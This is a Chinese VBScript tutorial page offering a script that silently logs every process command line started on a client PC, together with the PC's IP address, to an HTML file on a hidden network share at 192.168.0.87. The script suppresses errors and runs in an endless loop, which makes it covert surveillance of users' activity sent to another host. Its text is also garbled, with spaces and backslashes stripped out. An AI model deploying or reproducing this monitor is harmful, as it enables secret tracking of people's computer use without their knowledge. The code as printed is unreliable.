用VBS记录客户机操作的代码_vbs教程-查字典教程网
用VBS记录客户机操作的代码
用VBS记录客户机操作的代码
发布时间:2016-12-28 来源:查字典编辑
摘要:记录客户机操作的VBS脚本onerrorresumenextstrComputer="."SetobjWMIService=GetObjec...

记录客户机操作的VBS脚本

onerrorresumenext

strComputer="."

SetobjWMIService=GetObject("winmgmts:"&strComputer&"rootcimv2")

SetIPConfigSet=objWMIService.ExecQuery_

("SelectIPAddressfromWin32_NetworkAdapterConfigurationwhereIPEnabled=TRUE")

ForEachIPConfiginIPConfigSet

IfNotIsNull(IPConfig.IPAddress)Then

Fori=LBound(IPConfig.IPAddress)toUBound(IPConfig.IPAddress)

a=IPConfig.IPAddress(i)

Next

EndIf

Next

strComputer="."

SetobjWMIService=GetObject("winmgmts:"_

&"{impersonationLevel=impersonate}!"&strComputer&"rootcimv2")

SetcolMonitoredProcesses=objWMIService._

ExecNotificationQuery("select*from__instancecreationevent"_

&"within1whereTargetInstanceisa'Win32_Process'")

i=0

DoWhilei=0

SetobjLatestProcess=colMonitoredProcesses.NextEvent

b=objLatestProcess.TargetInstance.CommandLine

setfso=createobject("scripting.filesystemobject")

setfile1=fso.opentextfile("192.168.0.87ourway$ourway.htm",8,true)

file1.writelinenow()&"---"&a&"---"&b&"<hr>"

file1.close

Loop

相关阅读
推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
  • 大家都在看
  • 小编推荐
  • 猜你喜欢
  • 最新vbs学习
    热门vbs学习
    脚本专栏子分类